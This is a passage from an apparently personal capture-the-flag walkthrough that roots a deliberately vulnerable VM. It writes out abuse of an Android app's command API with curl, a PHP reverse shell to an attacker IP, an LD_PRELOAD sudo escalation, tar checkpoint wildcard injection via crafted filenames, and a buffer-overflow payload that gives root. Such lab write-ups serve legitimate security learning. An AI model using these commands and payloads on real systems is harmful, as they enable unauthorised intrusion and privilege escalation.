<span class="w"> </span><span class="n">String</span><span class="w"> </span><span class="n">string2</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">""</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">object2</span><span class="p">.</span><span class="na">getDeviceId</span><span class="p">();</span>
<span class="w"> </span><span class="n">object2</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">""</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">object2</span><span class="p">.</span><span class="na">getSimSerialNumber</span><span class="p">();</span>
<span class="w"> </span><span class="n">string2</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">UUID</span><span class="p">((</span><span class="s">""</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">Settings</span><span class="p">.</span><span class="na">Secure</span><span class="p">.</span><span class="na">getString</span><span class="p">((</span><span class="n">ContentResolver</span><span class="p">)</span><span class="k">this</span><span class="p">.</span><span class="na">getContentResolver</span><span class="p">(),</span><span class="w"> </span><span class="p">(</span><span class="n">String</span><span class="p">)</span><span class="s">"android_id"</span><span class="p">)).</span><span class="na">hashCode</span><span class="p">(),</span><span class="w"> </span><span class="p">(</span><span class="kt">long</span><span class="p">)</span><span class="n">string2</span><span class="p">.</span><span class="na">hashCode</span><span class="p">()</span><span class="w"> </span><span class="o"><<</span><span class="w"> </span><span class="mi">32</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="p">(</span><span class="kt">long</span><span class="p">)</span><span class="n">object2</span><span class="p">.</span><span class="na">hashCode</span><span class="p">()).</span><span class="na">toString</span><span class="p">();</span>
<span class="w"> </span><span class="n">Object</span><span class="w"> </span><span class="n">object3</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">this</span><span class="p">.</span><span class="na">getSharedPreferences</span><span class="p">(</span><span class="k">this</span><span class="p">.</span><span class="na">getString</span><span class="p">(</span><span class="mi">2131099666</span><span class="p">),</span><span class="w"> </span><span class="mi">0</span><span class="p">);</span>
<span class="w"> </span><span class="n">object2</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">object3</span><span class="p">.</span><span class="na">getString</span><span class="p">(</span><span class="s">"api_server"</span><span class="p">,</span><span class="w"> </span><span class="kc">null</span><span class="p">);</span>
<span class="w"> </span><span class="n">object3</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">object3</span><span class="p">.</span><span class="na">getString</span><span class="p">(</span><span class="s">"api_auth_token"</span><span class="p">,</span><span class="w"> </span><span class="kc">null</span><span class="p">);</span>
<span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">CallAPI</span><span class="p">().</span><span class="na">execute</span><span class="p">((</span><span class="n">Object</span><span class="o">[]</span><span class="p">)</span><span class="k">new</span><span class="w"> </span><span class="n">String</span><span class="o">[]</span><span class="p">{</span><span class="s">"https://"</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="p">(</span><span class="n">String</span><span class="p">)</span><span class="n">object2</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="s">"/do/cmd/"</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="p">(</span><span class="n">String</span><span class="p">)</span><span class="n">object</span><span class="p">,</span><span class="w"> </span><span class="n">string2</span><span class="p">,</span><span class="w"> </span><span class="n">object3</span><span class="p">});</span>
<span class="p">}</span>
</code></pre></div>
<p>The View object in parameter is the command to execute. The command is just
base64 encoded before sending it to the server as <code>object</code> in the url, the
string2<code>parameter is the UUID we generate a few lines ago sent in the HTTP
header as 'X-UUID'
parameter, the</code>object3` parameter is the token to authenticate to the API given
with the curl command just before also sent in the header as 'X-Token' (you may
need to look at the CallAPI method and more particulary at line 182 and 183)</p>
<div class="highlight"><pre><span></span><code>[maggick@rootine ~]$ curl https://192.168.56.101/do/cmd/$(echo -ne id | base64) --header "X-UUID: 00000000-02e7-1fb5-0000-000003daceff" --header "X-Token: n1dJEyZaiFtRyJSoIl2pzI0HDO6BGw18" --insecure
{"status":"ok","command":"id","output":"uid=998(nginx) gid=997(nginx) groups=997(nginx)\n"}
</code></pre></div>
<p>We can execute command on the server, let us wrote a simple bash script to
simplify the next steps (we put an echo at the end to have a nice output):</p>
<div class="highlight"><pre><span></span><code><span class="ch">#!/bin/bash</span>
curl<span class="w"> </span>https://192.168.56.101/do/cmd/<span class="k">$(</span><span class="nb">echo</span><span class="w"> </span>-ne<span class="w"> </span><span class="nv">$1</span><span class="w"> </span><span class="p">|</span><span class="w"> </span>base64<span class="k">)</span><span class="w"> </span>--header<span class="w"> </span><span class="s2">"X-UUID: 00000000-02e7-1fb5-0000-000003daceff"</span><span class="w"> </span>--header<span class="w"> </span><span class="s2">"X-Token: n1dJEyZaiFtRyJSoIl2pzI0HDO6BGw18"</span><span class="w"> </span>--insecure
<span class="nb">echo</span><span class="w"> </span><span class="s1">''</span>
</code></pre></div>
<p>Let us gather some information about the system (there is a blacklist that block
us and forgive us to directly use <code>ls</code> but the absolute path works):</p>
<div class="highlight"><pre><span></span><code>[maggick@rootine ~]$ ./p ls
{"status":"error","output":"Command 'ls' contains a banned command."}
[maggick@rootine ~]$ ./p /bin/ls
{"status":"ok","command":"\/bin\/ls","output":"index.php\ntest.php\n"}
</code></pre></div>
<h2>Shell exploitation</h2>
<h3>Reverse shell</h3>
<p>From there we can get an interactive reverse shell. Let us use the php reverse
shell from
<a href="http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet">pentestmonkey</a>:</p>
<p>We need to listen on our host machine for the server connection:</p>
<div class="highlight"><pre><span></span><code>nc -v -n -l -p 8080
</code></pre></div>
<p>Then we need to open the connection from the server:</p>
<div class="highlight"><pre><span></span><code>/bin\/php -r '$sock=fsockopen(\"192.168.56.1\",8080);exec(\"\/bin\/sh -i <&4 >&4 2>&4\");'
</code></pre></div>
<p>It works with no more restriction:</p>
<div class="highlight"><pre><span></span><code>sh-4.2$ id
id
uid=998(nginx) gid=997(nginx) groups=997(nginx)
</code></pre></div>
<h3>Batman and Robin?</h3>
<p>We can get a look at the <code>/etc/passwd</code> file:</p>
<div class="highlight"><pre><span></span><code>cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
avahi-autoipd:x:170:170:Avahi IPv4LL Stack:/var/lib/avahi-autoipd:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
polkitd:x:999:998:User for polkitd:/:/sbin/nologin
tss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
nginx:x:998:997:Nginx web server:/var/lib/nginx:/sbin/nologin
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin
robin:x:1000:1000::/home/robin:/bin/bash
bryan:x:1001:1001::/home/bryan:/bin/bash
sean:x:1002:1002::/home/sean:/bin/bash
</code></pre></div>
<p>We can see in the <code>/etc/passwd</code> file that there is 3 users: robin, bryan and
sean. Moreover in the <code>CommandActivity.java</code> file we have seen that there is a
mean to execute ssh command (also the port is not open) using the user robin.
The password used for this command is a simply a XOR between the
<code>integryity_check</code> base64 encoded string at the beginning of the file and the
string define in the validate method. We can reuse the code from there and find
back the password: 40373df4b7a1f413af61cf7fd06d03a565a51898</p>
<p>With our reverse shell a simple <code>su robin</code> and the password above give us a shell
as the robin user:</p>
<div class="highlight"><pre><span></span><code>id
uid=1000(robin) gid=1000(robin) groups=1000(robin)
</code></pre></div>
<h3>Where is bryan?</h3>
<p>For the next part of the challenge we may need a real pty shell, Once more
<a href="http://pentestmonkey.net/blog/post-exploitation-without-a-tty">pentest monkey</a>
will help us:</p>
<div class="highlight"><pre><span></span><code><span class="n">python</span> <span class="o">-</span><span class="n">c</span> <span class="s1">'import pty; pty.spawn("/bin/bash")'</span>
</code></pre></div>
<p>We go in the user directory (<code>cd</code>) and we see a file <code>debug.gpg</code>:</p>
<div class="highlight"><pre><span></span><code>cat debug.gpg
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Dude,
I know you are trying to debug this stupid dice thing, so I figured the below
will be useful?
[...]
__libc_start_main(0x555555554878, 1, 0x7fffffffe508, 0x5555555548e0 <unfinished ...="">
getenv("LD_PRELOAD") = nil
rand() = 1804289383
__printf_chk(1, 0x555555554978, 0x6b8b4567, 0x7ffff7dd40d4) = 22
__cxa_finalize(0x555555754e00, 0, 0, 1) = 0x7ffff7dd6290
+++ exited (status 0) +++Dice said: 1804289383
[...]
Lemme know!
- --
Sean
</unfinished></code></pre></div>
<p>We search for the dice program:</p>
<div class="highlight"><pre><span></span><code>find / -name 'dice' 2>/dev/null
/usr/local/bin/dice
</code></pre></div>
<p>This program simply roll a dice:</p>
<div class="highlight"><pre><span></span><code>/usr/local/bin/dice
Dice said: 1804289383
</code></pre></div>
<p>An other useful information is that we can roll the dice as bryan:</p>
<div class="highlight"><pre><span></span><code>sudo -l
[sudo] password for robin: 40373df4b7a1f413af61cf7fd06d03a565a51898
Matching Defaults entries for robin on this host:
requiretty, !visiblepw, always_set_home, env_reset, env_keep="COLORS
DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS", env_keep+="MAIL PS1
PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE
LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY
LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL
LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", env_keep+=LD_PRELOAD,
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User robin may run the following commands on this host:
(bryan) /usr/local/bin/dice
</code></pre></div>
<p>Let us put all the pieces together. We can run the program as bryan, we now that
the program load the <code>LD_PRELOAD</code> environement variable.</p>
<p>A simple google search lead us to
<a href="http://jvns.ca/blog/2014/11/27/ld-preload-is-super-fun-and-easy/">this article</a>
and
<a href="https://rafalcieslak.wordpress.com/2013/04/02/dynamic-linker-tricks-using-ld_preload-to-cheat-inject-features-and-investigate-programs/">this one</a>.
So now we just need to write a shared library to replace <code>rand()</code> by <code>/bin/bash</code>
run the program as bryan and we would get a shell as bryan.</p>
<p>When testing the trick I ran into the following error:</p>
<div class="highlight"><pre><span></span><code>[robin@fII ~]$ gcc -shared -fPIC unrandom.c -o unrandom.so
gcc: error trying to exec 'cc1': execvp: No such file or directory
</code></pre></div>
<p>We just need to add some variable to our user's PATH:</p>
<div class="highlight"><pre><span></span><code>export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/game
</code></pre></div>
<p>From there we we can compile the shared library and execute the dice program
with it:</p>
<div class="highlight"><pre><span></span><code>[robin@fII ~]$ gcc -shared -fPIC unrandom.c -o unrandom.so
gcc -shared -fPIC unrandom.c -o unrandom.so
[robin@fII ~]$ LD_PRELOAD=$PWD/unrandom.so /usr/local/bin/dice
LD_PRELOAD=$PWD/unrandom.so /usr/local/bin/dice
42 baby
</code></pre></div>
<p>We need to copy the <code>.so</code> to a location where bryan could read it like <code>/tmp/</code>.
Now we can run the program as bryan and load the shared library:</p>
<div class="highlight"><pre><span></span><code>sudo -u bryan LD_PRELOAD=/tmp/unrandom.so /usr/local/bin/dice
[sudo] password for robin: 40373df4b7a1f413af61cf7fd06d03a565a51898
42 baby!
</code></pre></div>
<p>We need to modify the code to get a shell:</p>
<div class="highlight"><pre><span></span><code><span class="cp">#include</span><span class="w"> </span><span class="cpf"><stdlib.h></stdlib.h></span>
<span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="nf">getenv</span><span class="p">(</span><span class="k">const</span><span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="n">name</span><span class="p">){</span>
<span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">int</span><span class="w"> </span><span class="nf">rand</span><span class="p">(){</span>
<span class="n">system</span><span class="p">(</span><span class="s">"/bin/bash"</span><span class="p">);</span>
<span class="k">return</span><span class="w"> </span><span class="mi">42</span><span class="p">;</span><span class="w"> </span><span class="c1">//the most random number in the universe</span>
<span class="p">}</span>
</code></pre></div>
<p>We compile it with <code>gcc</code> and run it as bryan:</p>
<div class="highlight"><pre><span></span><code>[robin@fII ~]$ sudo -u bryan LD_PRELOAD=/tmp/lol.so /usr/local/bin/dice
sudo -u bryan LD_PRELOAD=/tmp/lol.so /usr/local/bin/dice
[sudo] password for robin: 40373df4b7a1f413af61cf7fd06d03a565a51898
[bryan@fII robin]$ id
id
uid=1001(bryan) gid=1001(bryan) groups=1001(bryan)
</code></pre></div>
<h3>sean</h3>
<p>Now that we have a shell as bryan we may execute the <code>backup</code> script own by
sean with the SUID set:</p>
<div class="highlight"><pre><span></span><code>[bryan@fII bin]$ ls -al
ls -al
total 1960
drwxr-xr-x. 2 root root 59 Aug 17 2015 .
drwxr-xr-x. 12 root root 4096 Jun 22 2015 ..
-rwsr-x---. 1 sean bryan 8830 Jul 2 2015 backup
-rwxr-xr-x. 1 root root 1107672 Jun 22 2015 composer
-rwx--x--x. 1 root root 8830 Jul 2 2015 dice
-rwsr-x--- 1 root sean 866169 Aug 15 2015 restore
</code></pre></div>
<p>Let us see what it does:</p>
<div class="highlight"><pre><span></span><code>[bryan@fII bin]$ ./backup
./backup
* Securing environment
* Performing database backup...
app/
app/.gitignore
database.sqlite
framework/
framework/cache/
framework/cache/.gitignore
framework/sessions/
framework/sessions/.gitignore
framework/views/
framework/views/.gitignore
logs/
logs/.gitignore
logs/lumen.log
* Backup done!
</code></pre></div>
<p>It might be something about WildCards on linux.
Let us see what is used by the backup program with <code>strace</code> which available on
the server let us try it to see the inside of the program:</p>
<div class="highlight"><pre><span></span><code>[sean@fII bin]$ strace -s 999 -v -f ./backup 2>&1 | grep execve
strace -s 999 -v -f ./backup 2>&1 | grep execve
execve("./backup", ["./backup"], ["TAR_SUBCOMMAND=-c", "TAR_FORMAT=gnu", "TERM=unknown", "SHELL=/bin/bash", "USER=bryan", "TAR_BLOCKING_FACTOR=20", "LS_COLORS=", "SUDO_USER=robin", "SUDO_UID=1000", "USERNAME=bryan", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin", "MAIL=/var/mail/bryan", "PWD=/usr/local/bin", "LANG=en_US.UTF-8", "TAR_ARCHIVE=/home/sean/backup_20160312.tar.gz", "TAR_CHECKPOINT=1", "SHLVL=13", "SUDO_COMMAND=/usr/local/bin/dice", "HOME=/home/bryan", "LOGNAME=bryan", "TAR_VERSION=1.26", "LESSOPEN=||/usr/bin/lesspipe.sh %s", "SUDO_GID=1000", "_=/bin/strace", "OLDPWD=/tmp"]) = 0
[pid 1779] execve("/bin/sh", ["sh", "-c", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin; cd /usr/share/nginx/serverchecker/storage; /bin/tar -zvcf /home/sean/backup_$(/bin/date +\"%Y%m%d\").tar.gz *;"], ["TAR_SUBCOMMAND=-c", "TAR_FORMAT=gnu", "TERM=unknown", "SHELL=/bin/bash", "USER=bryan", "TAR_BLOCKING_FACTOR=20", "LS_COLORS=", "SUDO_USER=robin", "SUDO_UID=1000", "USERNAME=bryan", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin", "MAIL=/var/mail/bryan", "PWD=/usr/local/bin", "LANG=en_US.UTF-8", "TAR_ARCHIVE=/home/sean/backup_20160312.tar.gz", "TAR_CHECKPOINT=1", "SHLVL=13", "SUDO_COMMAND=/usr/local/bin/dice", "HOME=/home/bryan", "LOGNAME=bryan", "TAR_VERSION=1.26", "LESSOPEN=||/usr/bin/lesspipe.sh %s", "SUDO_GID=1000", "_=/bin/strace", "OLDPWD=/tmp"]) = 0
[pid 1781] execve("/bin/date", ["/bin/date", "+%Y%m%d"], ["TAR_FORMAT=gnu", "TAR_SUBCOMMAND=-c", "SHELL=/bin/bash", "TERM=unknown", "OLDPWD=/usr/local/bin", "TAR_BLOCKING_FACTOR=20", "USER=bryan", "LS_COLORS=", "SUDO_USER=robin", "SUDO_UID=1000", "USERNAME=bryan", "MAIL=/var/mail/bryan", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin", "PWD=/usr/share/nginx/serverchecker/storage", "LANG=en_US.UTF-8", "TAR_CHECKPOINT=1", "TAR_ARCHIVE=/home/sean/backup_20160312.tar.gz", "HOME=/home/bryan", "SUDO_COMMAND=/usr/local/bin/dice", "SHLVL=14", "LOGNAME=bryan", "TAR_VERSION=1.26", "LESSOPEN=||/usr/bin/lesspipe.sh %s", "SUDO_GID=1000", "_=/bin/date"]) = 0
[pid 1782] execve("/bin/tar", ["/bin/tar", "-zvcf", "/home/sean/backup_20160312.tar.gz", "app", "--checkpoint-action=exec=sh shell.sh", "database.sqlite", "framework", "logs", "shell.sh"], ["TAR_FORMAT=gnu", "TAR_SUBCOMMAND=-c", "SHELL=/bin/bash", "TERM=unknown", "OLDPWD=/usr/local/bin", "TAR_BLOCKING_FACTOR=20", "USER=bryan", "LS_COLORS=", "SUDO_USER=robin", "SUDO_UID=1000", "USERNAME=bryan", "MAIL=/var/mail/bryan", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin", "PWD=/usr/share/nginx/serverchecker/storage", "LANG=en_US.UTF-8", "TAR_CHECKPOINT=1", "TAR_ARCHIVE=/home/sean/backup_20160312.tar.gz", "HOME=/home/bryan", "SUDO_COMMAND=/usr/local/bin/dice", "SHLVL=14", "LOGNAME=bryan", "TAR_VERSION=1.26", "LESSOPEN=||/usr/bin/lesspipe.sh %s", "SUDO_GID=1000", "_=/bin/tar"]) = 0
[pid 1783] execve("/usr/local/bin/gzip", ["gzip"], ["TAR_FORMAT=gnu", "TAR_SUBCOMMAND=-c", "SHELL=/bin/bash", "TERM=unknown", "OLDPWD=/usr/local/bin", "TAR_BLOCKING_FACTOR=20", "USER=bryan", "LS_COLORS=", "SUDO_USER=robin", "SUDO_UID=1000", "USERNAME=bryan", "MAIL=/var/mail/bryan", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin", "PWD=/usr/share/nginx/serverchecker/storage", "LANG=en_US.UTF-8", "TAR_CHECKPOINT=1", "TAR_ARCHIVE=/home/sean/backup_20160312.tar.gz", "HOME=/home/bryan", "SUDO_COMMAND=/usr/local/bin/dice", "SHLVL=14", "LOGNAME=bryan", "TAR_VERSION=1.26", "LESSOPEN=||/usr/bin/lesspipe.sh %s", "SUDO_GID=1000", "_=/bin/tar"]) = -1 ENOENT (No such file or directory)
[pid 1783] execve("/bin/gzip", ["gzip"], ["TAR_FORMAT=gnu", "TAR_SUBCOMMAND=-c", "SHELL=/bin/bash", "TERM=unknown", "OLDPWD=/usr/local/bin", "TAR_BLOCKING_FACTOR=20", "USER=bryan", "LS_COLORS=", "SUDO_USER=robin", "SUDO_UID=1000", "USERNAME=bryan", "MAIL=/var/mail/bryan", "PATH=/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin", "PWD=/usr/share/nginx/serverchecker/storage", "LANG=en_US.UTF-8", "TAR_CHECKPOINT=1", "TAR_ARCHIVE=/home/sean/backup_20160312.tar.gz", "HOME=/home/bryan", "SUDO_COMMAND=/usr/local/bin/dice", "SHLVL=14", "LOGNAME=bryan", "TAR_VERSION=1.26", "LESSOPEN=||/usr/bin/lesspipe.sh %s", "SUDO_GID=1000", "_=/bin/tar"]) = 0
</code></pre></div>
<ul>
<li>The <code>-s 999</code> allows to specify the maximum string size to print</li>
<li>the -v prints more informations</li>
<li>the -f see the child process calls, you would not see a lot of things without
this flag</li>
</ul>
<p>We can see that the <code>tar</code> utility is used. We have seen in the previous link
that we can exploit it using the <code>checkpoint</code>. The backup directory is
<code>/usr/share/nginx/serverchecker/storage</code>.</p>
<div class="highlight"><pre><span></span><code>[bryan@fII bin]$ touch '/usr/share/nginx/serverchecker/storage/--checkpoint=1'
[bryan@fII bin]$ touch '/usr/share/nginx/serverchecker/storage/--checkpoint-action=exec=sh shell.sh'
[bryan@fII bin]$ echo '/bin/sh' > /usr/share/nginx/serverchecker/storage/shell.sh
[bryan@fII bin]$ chmod +x /usr/share/nginx/serverchecker/storage/shell.sh
[bryan@fII bin]$ ls -al /usr/share/nginx/serverchecker/storage/
total 20
drwxrwxrwx. 5 nginx nginx 4096 Mar 12 11:54 .
drwxr-xr-x. 10 nginx nginx 4096 Jun 22 2015 ..
drwxr-xr-x. 2 nginx nginx 23 Jun 22 2015 app
-rw-rw-r-- 1 bryan bryan 0 Mar 12 11:52 --checkpoint=1
-rw-rw-r-- 1 bryan bryan 0 Mar 12 11:53 --checkpoint-action=exec=sh shell.sh
-rwxrwxrwx. 1 nginx nginx 6144 Feb 14 14:40 database.sqlite
drwxr-xr-x. 5 nginx nginx 45 Jun 22 2015 framework
drwxr-xr-x. 2 nginx nginx 39 Jun 22 2015 logs
-rw-rw-r-- 1 bryan bryan 8 Mar 12 11:54 shell.s
</code></pre></div>
<p>We launch the backup program:</p>
<div class="highlight"><pre><span></span><code>[bryan@fII bin]$ /usr/local/bin/backup
sh-4.2$ id
id
uid=1002(sean) gid=1001(bryan) groups=1002(sean),1001(bryan)
</code></pre></div>
<h3>root me?</h3>
<p>Let get us back a real shell:</p>
<div class="highlight"><pre><span></span><code>python -c 'import pty; pty.spawn("/bin/bash")'
</code></pre></div>
<p>You may need to change the permission of bryan's <code>.bashrc</code> as you can get an
error about it:</p>
<div class="highlight"><pre><span></span><code>[bryan@fII ~]$ chmod 777 ~/.*
</code></pre></div>
<p>(Yes I had to exit the shell and start again the operations :/)</p>
<p>Next we need to use the <code>restore</code> program also in <code>/usr/local/bin/</code> own by root
with the SUID set and executable by the <code>sean</code> group. First we need to change
our group (as the one used is <code>bryan</code>).</p>
<div class="highlight"><pre><span></span><code>newgrp sean
</code></pre></div>
<p>Let us try the program by creating and empty archive in <code>/tmp/</code>:</p>
<div class="highlight"><pre><span></span><code>[sean@fII storage]$ cd /tmp/
[sean@fII tmp]$ touch backup.tar.gz
[sean@fII tmp]$ cd /usr/local/bin
[sean@fII bin]$ ./restore
Restore tool v0.1
Enter the path to the backup.tar.gz: /tmp/
Path is: /tmp/
Enter the output directory: /tmp/
Output directory is: /tmp/
This is a beta, run the following command for now:
/bin/sh -c "/usr/bin/tar xf /tmp/backup.tar.gz -C /tmp/ database.sqlite"
You are currently running this tool as:
uid=0(root) gid=0(root) groups=0(root),1001(bryan),1002(sean)
</code></pre></div>
<p>This looks like we would have to use a buffer overflow the get a root shell as
the program segfault when the input for the "output directory" is too long:</p>
<div class="highlight"><pre><span></span><code>[sean@fII tmp]$ /usr/local/bin/restore
/usr/local/bin/restore
Restore tool v0.1
Enter the path to the backup.tar.gz: /tmp/
/tmp/
Path is: /tmp/
Enter the output directory: qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklqwertyuiopasdfghjklzxcvbnmqwertyuiop
qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklqwertyuiopasdfghjklzxcvbnmqwertyuiop
Output directory is: qwertyuiopasdfghjklzxcvbnmqwertyuiopasdfghjklqwertyuiopasdfghjklzxcvbnmqwertyuiop
Segmentation fault
</code></pre></div>
<p>Let us used objdump to see what we can do and to which address get back in the
program:</p>
<div class="highlight"><pre><span></span><code>objdump -d ./restore
[...]
0000000000400fe1 <get_out_path>:
400fe1: 55 push %rbp
400fe2: 48 89 e5 mov %rsp,%rbp
400fe5: 48 83 ec 40 sub $0x40,%rsp
400fe9: bf 77 2b 49 00 mov $0x492b77,%edi
400fee: b8 00 00 00 00 mov $0x0,%eax
400ff3: e8 38 11 00 00 callq 402130 <_IO_printf>
400ff8: 48 8d 45 c0 lea -0x40(%rbp),%rax
400ffc: 48 89 c7 mov %rax,%rdi
400fff: e8 2c 15 00 00 callq 402530 <_IO_gets>
401004: 48 8d 45 c0 lea -0x40(%rbp),%rax
401008: 48 89 c6 mov %rax,%rsi
40100b: bf 94 2b 49 00 mov $0x492b94,%edi
401010: b8 00 00 00 00 mov $0x0,%eax
401015: e8 16 11 00 00 callq 402130 <_IO_printf>
40101a: 48 8d 45 c0 lea -0x40(%rbp),%rax
40101e: c9 leaveq
40101f: c3 retq
</get_out_path></code></pre></div>
<p>It looks like the address <code>401f71</code> would give us a shell if we return there with
the buffer overflow.</p>
<div class="highlight"><pre><span></span><code>objdump -d ./restore
[...]
401f15: eb 93 jmp 401eaa <do_system+0x29a>
401f17: 31 d2 xor %edx,%edx
401f19: be 00 f5 6b 00 mov $0x6bf500,%esi
401f1e: bf 02 00 00 00 mov $0x2,%edi
401f23: 48 c7 44 24 30 25 2d movq $0x492d25,0x30(%rsp)
401f2a: 49 00
401f2c: 48 c7 44 24 38 1d 2d movq $0x492d1d,0x38(%rsp)
401f33: 49 00
401f35: 48 89 6c 24 40 mov %rbp,0x40(%rsp)
401f3a: 48 c7 44 24 48 00 00 movq $0x0,0x48(%rsp)
401f41: 00 00
401f43: e8 b8 e2 01 00 callq 420200 <__sigaction>
401f48: 31 d2 xor %edx,%edx
401f4a: be 60 f4 6b 00 mov $0x6bf460,%esi
401f4f: bf 03 00 00 00 mov $0x3,%edi
401f54: e8 a7 e2 01 00 callq 420200 <__sigaction>
401f59: 48 8d 74 24 50 lea 0x50(%rsp),%rsi
401f5e: 31 d2 xor %edx,%edx
401f60: bf 02 00 00 00 mov $0x2,%edi
401f65: e8 b6 e2 01 00 callq 420220 <__sigprocmask>
401f6a: 48 8b 15 ff d7 2b 00 mov 0x2bd7ff(%rip),%rdx # 6bf770 <__environ>
401f71: 48 8d 74 24 30 lea 0x30(%rsp),%rsi
401f76: bf 20 2d 49 00 mov $0x492d20,%edi
401f7b: c7 05 bb d4 2b 00 00 movl $0x0,0x2bd4bb(%rip) # 6bf440 <lock>
401f82: 00 00 00
401f85: c7 05 c1 d4 2b 00 00 movl $0x0,0x2bd4c1(%rip) # 6bf450 <sa_refcntr>
401f8c: 00 00 00
401f8f: e8 9c aa 01 00 callq 41ca30 <__execve>
401f94: bf 7f 00 00 00 mov $0x7f,%edi
401f99: e8 32 aa 01 00 callq 41c9d0 <_exit>
401f9e: 48 c7 c2 c0 ff ff ff mov $0xffffffffffffffc0,%rdx
401fa5: f7 d8 neg %eax
</sa_refcntr></lock></do_system+0x29a></code></pre></div>
<p>Let us use python to generate the payload encoded in little endian:</p>
<div class="highlight"><pre><span></span><code>[sean@fII storage]$ python -c 'print "A"*72 + "\x71\x1f\x40"'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAq
</code></pre></div>
<p>You may need to use another terminal which would not mess up with your input as
urxvt did. I used tilda for this one. We just need to copy the payload when
choosing the output directory for the restore program:</p>
<div class="highlight"><pre><span></span><code>[sean@fII storage]$ /usr/local/bin/restore
/usr/local/bin/restore
Restore tool v0.1
Enter the path to the backup.tar.gz: /tmp/
/tmp/
Path is: /tmp/
Enter the output directory: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAq
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAq
Output directory is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</code></pre></div>
<p>And it got us a root shell from where we can get the flag:</p>
<div class="highlight"><pre><span></span><code><span class="o">[</span><span class="n">root@fII storage</span><span class="o">]</span><span class="err">#</span><span class="w"> </span><span class="n">id</span>
<span class="n">uid</span><span class="o">=</span><span class="mi">0</span><span class="p">(</span><span class="n">root</span><span class="p">)</span><span class="w"> </span><span class="n">gid</span><span class="o">=</span><span class="mi">0</span><span class="p">(</span><span class="n">root</span><span class="p">)</span><span class="w"> </span><span class="n">groups</span><span class="o">=</span><span class="mi">0</span><span class="p">(</span><span class="n">root</span><span class="p">),</span><span class="mi">1001</span><span class="p">(</span><span class="n">bryan</span><span class="p">),</span><span class="mi">1002</span><span class="p">(</span><span class="n">sean</span><span class="p">)</span>
<span class="n">root</span><span class="nv">@fII</span><span class="w"> </span><span class="n">root</span><span class="err">]#</span><span class="w"> </span><span class="n">cat</span><span class="w"> </span><span class="n">flag</span>
<span class="w"> </span><span class="err">█████▒██▓</span><span class="w"> </span><span class="err">██▓</span><span class="w"> </span><span class="err">▄████▄</span><span class="w"> </span><span class="err">██</span><span class="w"> </span><span class="err">▄█▀</span><span class="w"> </span><span class="err">██▓</span><span class="w"> </span><span class="err">██▓</span>
